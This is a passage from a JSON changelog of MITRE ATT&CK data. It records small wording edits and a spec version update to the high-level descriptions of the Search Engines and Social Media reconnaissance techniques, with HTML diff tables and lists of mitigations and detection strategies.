<tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/attack.mitre.org/techniques/T1566)).</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">//attack.mitre.org/techniques/T1566)).</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1013: Application Developer Guidance",
                            "M1047: Audit"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0856: Detection of Search Open Websites/Domains"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--6e561441-8431-4773-a9b8-ccf28ef6a968",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-10-02 16:50:12.809000+00:00",
                    "modified": "2026-11-04 00:04:48.138000+00:00",
                    "name": "Search Engines",
                    "description": "Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typically crawl online sites to index content and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)\n\nAdversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)).",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "reconnaissance"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1593/002",
                            "external_id": "T1593.002"
                        },
                        {
                            "source_name": "SecurityTrails Google Hacking",
                            "description": "Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved September 12, 2024.",
                            "url": "https://www.recordedfuture.com/threat-intelligence-101/threat-analysis-techniques/google-dorks"
                        },
                        {
                            "source_name": "ExploitDB GoogleHacking",
                            "description": "Offensive Security. (n.d.). Google Hacking Database. Retrieved October 23, 2020.",
                            "url": "https://www.exploit-db.com/google-hacking-database"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "PRE"
                    ],
                    "x_mitre_version": "1.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:04:48.138000+00:00\", \"old_value\": \"2025-10-24 17:48:55.709000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typically crawl online sites to index content and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)\\n\\nAdversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)).\", \"old_value\": \"Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)\\n\\nAdversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)\\n+Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typically crawl online sites to index content and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)\\n \\n Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)).\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
                    "previous_version": "1.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to31__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to31__0\"><a href=\"#difflib_chg_to31__top\">t</a></td><td class=\"diff_header\" id=\"from31_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;use&nbsp;search&nbsp;engines&nbsp;to&nbsp;collect&nbsp;information&nbsp;ab</td><td class=\"diff_next\"><a href=\"#difflib_chg_to31__top\">t</a></td><td class=\"diff_header\" id=\"to31_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;use&nbsp;search&nbsp;engines&nbsp;to&nbsp;collect&nbsp;information&nbsp;ab</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">out&nbsp;victims&nbsp;that&nbsp;can&nbsp;be&nbsp;used&nbsp;during&nbsp;targeting.&nbsp;Search&nbsp;engine</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">out&nbsp;victims&nbsp;that&nbsp;can&nbsp;be&nbsp;used&nbsp;during&nbsp;targeting.&nbsp;Search&nbsp;engine</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;services&nbsp;typical&nbsp;crawl&nbsp;online&nbsp;sites&nbsp;to&nbsp;index&nbsp;contex<span class=\"diff_chg\">t&nbsp;and&nbsp;ma</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;services&nbsp;typical<span class=\"diff_add\">ly</span>&nbsp;crawl&nbsp;online&nbsp;sites&nbsp;to&nbsp;index&nbsp;conte<span class=\"diff_add\">nt&nbsp;and&nbsp;</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">y&nbsp;provide&nbsp;users&nbsp;with&nbsp;specialized&nbsp;syntax&nbsp;to&nbsp;search&nbsp;for&nbsp;specif</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_add\">may&nbsp;provide&nbsp;users&nbsp;with&nbsp;specialized&nbsp;synta</span>x<span class=\"diff_chg\">&nbsp;to&nbsp;search&nbsp;for&nbsp;spec</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">ic</span>&nbsp;keywords&nbsp;or&nbsp;specific&nbsp;types&nbsp;of&nbsp;content&nbsp;(i.e.&nbsp;filetypes).(C</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">ific</span>&nbsp;keywords&nbsp;or&nbsp;specific&nbsp;types&nbsp;of&nbsp;content&nbsp;(i.e.&nbsp;filetypes).</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itation:&nbsp;SecurityTrails&nbsp;Google&nbsp;Hacking)(Citation:&nbsp;ExploitDB&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(Citation:&nbsp;SecurityTrails&nbsp;Google&nbsp;Hacking)(Citation:&nbsp;ExploitD</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">GoogleHacking)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;craft&nbsp;various&nbsp;search&nbsp;engine&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">B&nbsp;GoogleHacking)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;craft&nbsp;various&nbsp;search&nbsp;engin</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">queries&nbsp;depending&nbsp;on&nbsp;what&nbsp;information&nbsp;they&nbsp;seek&nbsp;to&nbsp;gather.&nbsp;T</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;queries&nbsp;depending&nbsp;on&nbsp;what&nbsp;information&nbsp;they&nbsp;seek&nbsp;to&nbsp;gather.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hreat&nbsp;actors&nbsp;may&nbsp;use&nbsp;search&nbsp;engines&nbsp;to&nbsp;harvest&nbsp;general&nbsp;infor</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Threat&nbsp;actors&nbsp;may&nbsp;use&nbsp;search&nbsp;engines&nbsp;to&nbsp;harvest&nbsp;general&nbsp;inf</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mation&nbsp;about&nbsp;victims,&nbsp;as&nbsp;well&nbsp;as&nbsp;use&nbsp;specialized&nbsp;queries&nbsp;to&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ormation&nbsp;about&nbsp;victims,&nbsp;as&nbsp;well&nbsp;as&nbsp;use&nbsp;specialized&nbsp;queries&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">look&nbsp;for&nbsp;spillages/leaks&nbsp;of&nbsp;sensitive&nbsp;information&nbsp;such&nbsp;as&nbsp;ne</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;look&nbsp;for&nbsp;spillages/leaks&nbsp;of&nbsp;sensitive&nbsp;information&nbsp;such&nbsp;as&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">twork&nbsp;details&nbsp;or&nbsp;credentials.&nbsp;Information&nbsp;from&nbsp;these&nbsp;sources</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">network&nbsp;details&nbsp;or&nbsp;credentials.&nbsp;Information&nbsp;from&nbsp;these&nbsp;sourc</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;may&nbsp;reveal&nbsp;opportunities&nbsp;for&nbsp;other&nbsp;forms&nbsp;of&nbsp;reconnaissance&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es&nbsp;may&nbsp;reveal&nbsp;opportunities&nbsp;for&nbsp;other&nbsp;forms&nbsp;of&nbsp;reconnaissanc</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(ex:&nbsp;[Phishing&nbsp;for&nbsp;Information](https://attack.mitre.org/tec</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;(ex:&nbsp;[Phishing&nbsp;for&nbsp;Information](https://attack.mitre.org/t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hniques/T1598)&nbsp;or&nbsp;[Search&nbsp;Open&nbsp;Technical&nbsp;Databases](https://</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">echniques/T1598)&nbsp;or&nbsp;[Search&nbsp;Open&nbsp;Technical&nbsp;Databases](https:</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">attack.mitre.org/techniques/T1596)),&nbsp;establishing&nbsp;operationa</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">//attack.mitre.org/techniques/T1596)),&nbsp;establishing&nbsp;operatio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l&nbsp;resources&nbsp;(ex:&nbsp;[Establish&nbsp;Accounts](https://attack.mitre.o</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nal&nbsp;resources&nbsp;(ex:&nbsp;[Establish&nbsp;Accounts](https://attack.mitre</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rg/techniques/T1585)&nbsp;or&nbsp;[Compromise&nbsp;Accounts](https://attack</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.org/techniques/T1585)&nbsp;or&nbsp;[Compromise&nbsp;Accounts](https://atta</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.mitre.org/techniques/T1586)),&nbsp;and/or&nbsp;initial&nbsp;access&nbsp;(ex:&nbsp;[V</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ck.mitre.org/techniques/T1586)),&nbsp;and/or&nbsp;initial&nbsp;access&nbsp;(ex:&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">alid&nbsp;Accounts](https://attack.mitre.org/techniques/T1078)&nbsp;or</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">[Valid&nbsp;Accounts](https://attack.mitre.org/techniques/T1078)&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;[Phishing](https://attack.mitre.org/techniques/T1566)).</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">or&nbsp;[Phishing](https://attack.mitre.org/techniques/T1566)).</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1056: Pre-compromise"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0811: Detection of Search Engines"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--bbe5b322-e2af-4a5e-9625-a4e62bf84ed3",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-10-02 16:49:31.262000+00:00",
                    "modified": "2026-11-03 23:35:14.598000+00:00",
                    "name": "Social Media",
                    "description": "Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff.\n\nAdversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to entice victims into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "reconnaissance"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1593/001",
                            "external_id": "T1593.001"
                        },
                        {
                            "source_name": "Cyware Social Media",
                            "description": "Cyware Hacker News. (2019, October 2). How Hackers Exploit Social Media To Break Into Your Company. Retrieved October 20, 2020.",
                            "url": "https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "PRE"
                    ],
                    "x_mitre_version": "1.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 23:35:14.598000+00:00\", \"old_value\": \"2025-10-24 17:49:18.054000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff.\\n\\nAdversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to entice victims into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).\", \"old_value\": \"Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff.\\n\\nAdversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim\\u2019s into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff.\\n \\n-Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim\\u2019s into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).\\n+Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to entice victims into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
                    "previous_version": "1.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to149__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to149__0\"><a href=\"#difflib_chg_to149__top\">t</a></td><td class=\"diff_header\" id=\"from149_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;search&nbsp;social&nbsp;media&nbsp;for&nbsp;information&nbsp;about&nbsp;vi</td><td class=\"diff_next\"><a href=\"#difflib_chg_to149__top\">t</a></td><td class=\"diff_header\" id=\"to149_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;search&nbsp;social&nbsp;media&nbsp;for&nbsp;information&nbsp;about&nbsp;vi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ctims&nbsp;that&nbsp;can&nbsp;be&nbsp;used&nbsp;during&nbsp;targeting.&nbsp;Social&nbsp;media&nbsp;sites&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ctims&nbsp;that&nbsp;can&nbsp;be&nbsp;used&nbsp;during&nbsp;targeting.&nbsp;Social&nbsp;media&nbsp;sites&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">may&nbsp;contain&nbsp;various&nbsp;information&nbsp;about&nbsp;a&nbsp;victim&nbsp;organization,</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">may&nbsp;contain&nbsp;various&nbsp;information&nbsp;about&nbsp;a&nbsp;victim&nbsp;organization,</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;such&nbsp;as&nbsp;business&nbsp;announcements&nbsp;as&nbsp;well&nbsp;as&nbsp;information&nbsp;about</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;such&nbsp;as&nbsp;business&nbsp;announcements&nbsp;as&nbsp;well&nbsp;as&nbsp;information&nbsp;about</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;roles,&nbsp;locations,&nbsp;and&nbsp;interests&nbsp;of&nbsp;staff.&nbsp;&nbsp;Adversaries&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;roles,&nbsp;locations,&nbsp;and&nbsp;interests&nbsp;of&nbsp;staff.&nbsp;&nbsp;Adversaries&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">may&nbsp;search&nbsp;in&nbsp;different&nbsp;social&nbsp;media&nbsp;sites&nbsp;depending&nbsp;on&nbsp;what</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">may&nbsp;search&nbsp;in&nbsp;different&nbsp;social&nbsp;media&nbsp;sites&nbsp;depending&nbsp;on&nbsp;what</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;information&nbsp;they&nbsp;seek&nbsp;to&nbsp;gather.&nbsp;Threat&nbsp;actors&nbsp;may&nbsp;passivel</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;information&nbsp;they&nbsp;seek&nbsp;to&nbsp;gather.&nbsp;Threat&nbsp;actors&nbsp;may&nbsp;passivel</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;harvest&nbsp;data&nbsp;from&nbsp;these&nbsp;sites,&nbsp;as&nbsp;well&nbsp;as&nbsp;use&nbsp;information&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;harvest&nbsp;data&nbsp;from&nbsp;these&nbsp;sites,&nbsp;as&nbsp;well&nbsp;as&nbsp;use&nbsp;information&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">gathered&nbsp;to&nbsp;create&nbsp;fake&nbsp;profiles/groups&nbsp;to&nbsp;e<span class=\"diff_chg\">licit</span>&nbsp;victim<span class=\"diff_chg\">\u2019s&nbsp;i</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">gathered&nbsp;to&nbsp;create&nbsp;fake&nbsp;profiles/groups&nbsp;to&nbsp;e<span class=\"diff_chg\">ntice</span>&nbsp;victim<span class=\"diff_chg\">s&nbsp;in</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">nto</span>&nbsp;revealing&nbsp;specific&nbsp;information&nbsp;(i.e.&nbsp;[Spearphishing&nbsp;Serv</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">to</span>&nbsp;revealing&nbsp;specific&nbsp;information&nbsp;(i.e.&nbsp;[Spearphishing&nbsp;Servi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ice](https://attack.mitre.org/techniques/T1598/001)).(Citati</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ce](https://attack.mitre.org/techniques/T1598/001)).(Citatio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on:&nbsp;Cyware&nbsp;Social&nbsp;Media)&nbsp;Information&nbsp;from&nbsp;these&nbsp;sources&nbsp;may&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n:&nbsp;Cyware&nbsp;Social&nbsp;Media)&nbsp;Information&nbsp;from&nbsp;these&nbsp;sources&nbsp;may&nbsp;r</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">reveal&nbsp;opportunities&nbsp;for&nbsp;other&nbsp;forms&nbsp;of&nbsp;reconnaissance&nbsp;(ex:&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eveal&nbsp;opportunities&nbsp;for&nbsp;other&nbsp;forms&nbsp;of&nbsp;reconnaissance&nbsp;(ex:&nbsp;[</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">[Phishing&nbsp;for&nbsp;Information](https://attack.mitre.org/techniqu</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 